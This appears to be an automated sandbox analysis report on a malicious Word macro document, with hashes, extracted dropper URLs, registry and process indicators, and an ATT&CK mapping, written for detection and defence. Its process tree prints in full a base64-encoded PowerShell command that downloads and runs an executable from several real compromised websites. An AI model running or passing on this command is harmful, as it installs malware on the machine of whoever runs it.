98d32a982e82317e6e164544ad927cc3cf845e4276795e7ce6e2dc9ebb297724

General

Target

buodkffr.doc
Size

230KB
MD5

c3aaec6a39763f3584c9dcb5cd52a2bb
SHA1

5ddd7c6a1bf2d14275d05c75e7f4c1b656fdd401
SHA256

98d32a982e82317e6e164544ad927cc3cf845e4276795e7ce6e2dc9ebb297724
SHA512

8796ddf831f83f1cf0d6ebfd83bafb939835570f9f584297320d95eeaf48ed220c1128a33ca1ed994e6c92492c303b3ba6da86acd341b0b67e66f672f1b0c9e5

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://harugomnhat.mizi.vn/lfv9u/Yc31L165329/

exe.dropper

http://betmagik.com/wp-includes/e6eT18030/

exe.dropper

http://aofortunes.com/9gipx/wOOY59/

exe.dropper

http://yourman.co.uk/hWftFfZpx/uRkkm0115/

exe.dropper

https://serenitynailsfranklin.com/wp-includes/OU50007/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	1744	powersheLL.exe

Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

5 1600 powersheLL.exe
7 1600 powersheLL.exe
8 1600 powersheLL.exe
11 1600 powersheLL.exe
13 1600 powersheLL.exe
14 1600 powersheLL.exe

flow	pid	process
5	1600	powersheLL.exe
7	1600	powersheLL.exe
8	1600	powersheLL.exe
11	1600	powersheLL.exe
13	1600	powersheLL.exe
14	1600	powersheLL.exe

Drops file in System32 directory 1 IoCs

Processes:

powersheLL.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powersheLL.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F07D2FD2-069E-4687-8EAE-006B4B1D9EFE}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F07D2FD2-069E-4687-8EAE-006B4B1D9EFE}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\TypeLib	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1380 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powersheLL.exe

pid process

1600 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1600 powersheLL.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1380 WINWORD.EXE
1380 WINWORD.EXE

pid	process
1380	WINWORD.EXE

pid	process
1600	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1600	powersheLL.exe

pid	process
1380	WINWORD.EXE
1380	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1380 wrote to memory of 1000	1380	WINWORD.EXE	splwow64.exe
PID 1380 wrote to memory of 1000	1380	WINWORD.EXE	splwow64.exe
PID 1380 wrote to memory of 1000	1380	WINWORD.EXE	splwow64.exe
PID 1380 wrote to memory of 1000	1380	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\buodkffr.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1000

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFADYAcQA5ADkAagB2AD0AJwBHAGkAMQBoADUANQA3ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAYwBVAGAAUgBpAFQAeQBQAFIAbwB0AG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVADEAdQBnADIAdQBkACAAPQAgACcATgBtAGQAagAnADsAJABCAHAAXwA2AGkANgBfAD0AJwBWADQAbgB6ADIAcwA4ACcAOwAkAEsAZAB2ADIAOQA1AHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVADEAdQBnADIAdQBkACsAJwAuAGUAeABlACcAOwAkAEsANwB6AGYAcwBfAHMAPQAnAEMAawAwADAANQBiAHoAJwA7ACQASgBsADIAMwBvAHgAZgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQAUgB6AHgAMwByAG8AMAA9ACcAaAB0AHQAcABzADoALwAvAGgAYQByAHUAZwBvAG0AbgBoAGEAdAAuAG0AaQB6AGkALgB2AG4ALwBsAGYAdgA5AHUALwBZAGMAMwAxAEwAMQA2ADUAMwAyADkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAHQAbQBhAGcAaQBrAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlADYAZQBUADEAOAAwADMAMAAvACoAaAB0AHQAcAA6AC8ALwBhAG8AZgBvAHIAdAB1AG4AZQBzAC4AYwBvAG0ALwA5AGcAaQBwAHgALwB3AE8ATwBZADUAOQAvACoAaAB0AHQAcAA6AC8ALwB5AG8AdQByAG0AYQBuAC4AYwBvAC4AdQBrAC8AaABXAGYAdABGAGYAWgBwAHgALwB1AFIAawBrAG0AMAAxADEANQAvACoAaAB0AHQAcABzADoALwAvAHMAZQByAGUAbgBpAHQAeQBuAGEAaQBsAHMAZgByAGEAbgBrAGwAaQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBPAFUANQAwADAAMAA3AC8AJwAuACIAUwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADQAegAzADYAdgAxAD0AJwBIADUAMwBxADYAYQByACcAOwBmAG8AcgBlAGEAYwBoACgAJABHADUAagBkAGoANQA0ACAAaQBuACAAJABSAHoAeAAzAHIAbwAwACkAewB0AHIAeQB7ACQASgBsADIAMwBvAHgAZgAuACIAZABvAHcAbgBsAGAAbwBgAEEARABGAGAASQBMAGUAIgAoACQARwA1AGoAZABqADUANAAsACAAJABLAGQAdgAyADkANQByACkAOwAkAFkAcgBlAHcAcQBoADQAPQAnAFgAawAyADkANwBhADkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAGQAdgAyADkANQByACkALgAiAEwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADYAMAAxADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASwBkAHYAMgA5ADUAcgApADsAJABUAHIAOQA1AGYAdQA0AD0AJwBQADcAeQBoAGMANgBjACcAOwBiAHIAZQBhAGsAOwAkAFIAYgBtADkAYwBnAF8APQAnAFAANgB2ADYAMwBoAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBtAGUAdQB0AHIANAA9ACcASAByADYAbQBmADcANgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1000-84-0x0000000000000000-mapping.dmp

Download
memory/1380-67-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-86-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1380-68-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-58-0x000000007197D000-0x0000000071988000-memory.dmp

Filesize
44KB

Download
memory/1380-59-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-62-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-61-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-60-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-63-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-64-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-65-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-66-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-70-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-69-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-57-0x0000000076C81000-0x0000000076C83000-memory.dmp

Filesize
8KB

Download
memory/1380-71-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1380-72-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-73-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-74-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-75-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-78-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-77-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-76-0x0000000000543000-0x0000000000546000-memory.dmp

Filesize
12KB

Download
memory/1380-54-0x0000000072F11000-0x0000000072F14000-memory.dmp

Filesize
12KB

Download
memory/1380-55-0x0000000070991000-0x0000000070993000-memory.dmp

Filesize
8KB

Download
memory/1600-80-0x000007FEF3EB0000-0x000007FEF4A0D000-memory.dmp

Filesize
11.4MB

Download
memory/1600-82-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/1600-83-0x000000000291B000-0x000000000293A000-memory.dmp

Filesize
124KB

Download
memory/1600-81-0x0000000002914000-0x0000000002917000-memory.dmp

Filesize
12KB

Download
memory/1600-79-0x000007FEFC5C1000-0x000007FEFC5C3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads